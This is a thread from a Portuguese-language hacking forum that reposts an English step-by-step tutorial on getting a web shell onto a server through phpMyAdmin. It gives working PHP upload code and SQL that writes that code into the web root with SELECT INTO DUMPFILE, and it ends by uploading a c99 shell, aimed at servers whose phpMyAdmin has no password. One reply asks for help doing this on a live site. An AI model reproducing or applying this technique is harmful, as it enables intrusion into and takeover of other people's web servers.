Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Shell Upload via PhpMyAdmin

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Shell Upload via PhpMyAdmin

    O tutorial não é de minha autoria, porém deixo ai pro pessoal do GH, apesar de inglês, está de fácil entendimento, testei aqui em localhost e está funcionando perfeitamente.

    --------------------------------------------------------------------------------------------------------------------------------------------------

    Hello and Greetz to all SO members once again.

    Today i thought of writing a tutorial,which some of you might know it well before. I usually tested in my local machine ,with

    Xampp version 1.7.2 which is freely available.

    With Xampp ,we have phpmyadmin ,which everybody knows thats it is an open source tool written in PHP intended to handle the

    administration of MySQL.

    Objective : To upload any shell by using phpmyadmin.

    So here it goes how i started :

    Step 1: We have to create two php files ,one for upload and the other is the userform.


    code => upload.php
    Código:
    <?php 
    $uploaddir = 'C:/xampp/htdocs/';
    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
    if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
      {
              print '<body bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000>Evil Uploaded successfully !!
     
    </font></body>';
      }
      else 
      { 
      print '<body bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000> Evil Uploaded Failed !!</font></body>';
      }
    ?>
    code => form.php

    Código:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    >
    <head>
     
    Evil Z0ne
    </head>
    <body bgcolor="#000000">
    <div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
    ">>>  &nbsp; Evil Upload !!! </div>
    <div style="padding-top:75px;margin-left:450px;width:340px; height:70px;"> 
    <form enctype="multipart/form-data" action="upload.php" method="post">
    <input name="userfile" type="file" />&nbsp;
    <input type="submit" value="Upload" />
    </form>
    </div>
    </body>
    </html>

    Step 2:
    We must find our document root ,this can be found on "http://localhost/xampp/phpinfo.php",of xampp or creating a simple code with php.

    Código:
    <?php phpinfo();?>


    i saw mine to be C:/xampp/htdocs/ . it can be different according to installation directory.

    Step 3: Create the database by any name ,i name it as 'evildb' in pma.



    Step 4: Create two tables name it as userform with one field name 'track1' and the other user_upload with one field name 'track2' ,in the pma.



    SQL CODE:
    Código:
    CREATE TABLE `evildb`.`userform` (
    `track1` VARCHAR( 1000 ) NOT NULL
    ) ENGINE = MYISAM ;


    SQL CODE:
    Código:
    CREATE TABLE `evildb`.`user_upload` (
    `track2` VARCHAR( 1000 ) NOT NULL
    ) ENGINE = MYISAM ;
    Step 5 : Select the sql tab and execute the userform code from above as shown below under the table name 'userform'


    SQL CODE:
    Código:
    insert into userform values ('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
     
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    >
    <head>
     
    Evil Z0ne
    </head>
    <body bgcolor="#000000">
    <div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
    ">>>  &nbsp; Evil Upload !!! </div>
    <div style="padding-top:75px;margin-left:450px;width:340px; height:70px;"> 
    <form enctype="multipart/form-data" action="upload.php" method="post">
    <input name="userfile" type="file" />&nbsp;
    <input type="submit" value="Upload" />
    </form>
    </div>
    </body>
    </html>');


    SQL CODE:
    Código:
    select * into dumpfile 'C:/xampp/htdocs/form.php' from userform
    It will successfully create form.php on the document root.

    Step 6: Select the sql tab and execute the upload.php code from above as shown below under the table name 'user_upload'.



    SQL CODE:
    Código:
    INSERT INTO user_upload
    VALUES (
    "<?php $uploaddir = 'C:/xampp/htdocs/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if 
     
    (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { print '<body bgcolor=#000></br></br><div 
     
    align=center><font size=5 color=#ff0000>Evil Uploaded successfully !!</font></body>'; } else { print '<body 
     
    bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000> Evil Uploaded Failed !!</font></body>'; } ?> "
    );
    


    SQL CODE:
    Código:
    select * into dumpfile 'C:/xampp/htdocs/upload.php' from user_upload
    it will successfully create upload.php on the document root.

    Step 7: Now lets execute the form from the document root (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...).



    Final Step 8: Now we can upload any shell as required , i uploaded c99 and tested.



    Note : This could be vulnerable to some webservers where phpmyadmin is not password protected.

    Warning : This is used for only educational purpose.

    Hope it might be useful for some users. :P

    Crédits: securityoverride.com
    Last edited by areax; 18-04-2011, 16:23.



    areax@hotmail.com



    Similar Threads

  • Font Size
    #2
    Coloca isso em portugues veio!!!

    Comment


    • Font Size
      #3
      Pra que? Cara, deixei em inglês simplesmente para evitar pessoas que adoram uma receita de bolo, não estou me referindo a você, mas muitos que vem aqui apenas para pegar conteúdo sem deixa pelo menos algum agradecimento.

      E outra, tradução em tradutores online perde totalmente o sentido do texto, então para presevarvá-lo deixei em inglês. Está de fácil entendimento.

      att.



      areax@hotmail.com



      Comment


      • Font Size
        #4
        Esta muito easy para entender
        Tem Hackers que usam os 10 dedos da mão para digitar, sem desperdiçar o dedão na barra de espaçosigpic

        Comment


        • Font Size
          #5
          Very foda Tuto

          Parabens pelo topico areax

          very good
          sigpic



          Comment


          • Font Size
            #6
            Mandou bem...

            Mandou benzaço areax...
            vlw

            Comment


            • Font Size
              #7
              Boas pessoal tudo bem ?

              Eu estou com um site que tenho acesso root há bd mas estou com um problema de upar , pois não consigo encontrar o document root, quando eu tento dá-me este erro
              #1 - Can't create/write

              Alguem me consegue ajudar?
              eu consigo baixar todas as bd e o user que estou mexendo é root

              Comment


              • Font Size
                #8
                ele só deixou em english porque ele deu copy nos post dos gringos!
                Ola a todos , deixa eu me apresentar, sou um cientista que construí uma maquina do tempo , fiz algumas viagem para o futuro e para o passado, infelizmente quando fiz essa minha ultima viagem do tempo para o passado exato no ano de 2012 minha maquina teve um problema com plutonismo, e fiquei preso nesse civilização atrasada.

                Acredite viajar no tempo é possível sim!
                Preciso de ajuda dos mas avançados de sua civilização.

                Comment

                X
                Working...
                X